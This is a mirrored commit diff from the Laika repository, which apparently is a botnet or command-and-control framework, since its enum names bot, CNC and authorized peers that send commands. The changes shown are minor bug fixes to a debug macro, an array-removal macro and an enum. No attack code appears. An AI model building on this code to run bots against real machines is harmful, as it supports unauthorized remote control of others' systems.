mirror of
https://github.com/CPunch/Laika.git
synced 2025-09-26 03:40:05 +00:00
Fixed poll() path in lpolllist.c, fixed laikaM_rmvarray()
This commit is contained in:
@@ -11,7 +11,7 @@
|
||||
#define ARRAY_START 4
|
||||
|
||||
#ifdef DEBUG
|
||||
#define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__);
|
||||
#define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); fflush(stdout);
|
||||
#else
|
||||
#define LAIKA_DEBUG(...)
|
||||
#endif
|
||||
|
@@ -16,7 +16,7 @@
|
||||
|
||||
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
||||
#define laikaM_rmvarray(type, buf, count, indx, numElem) { \
|
||||
int _i, _sz = ((count-indx)-numElem)*sizeof(type); \
|
||||
int _i, _sz = ((count-indx)-numElem); \
|
||||
for (_i = 0; _i < _sz; _i++) \
|
||||
buf[indx+_i] = buf[indx+numElem+_i]; \
|
||||
count -= numElem; \
|
||||
|
@@ -8,8 +8,7 @@
|
||||
#include "lrsa.h"
|
||||
|
||||
typedef enum {
|
||||
PEER_UNVERIFIED,
|
||||
,
|
||||
PEER_UNVERIFIED,
|
||||
PEER_BOT,
|
||||
PEER_CNC, /* cnc 2 cnc communication */
|
||||
PEER_AUTH /* authorized peers can send commands to cnc */
|
||||
|
Reference in New Issue
Block a user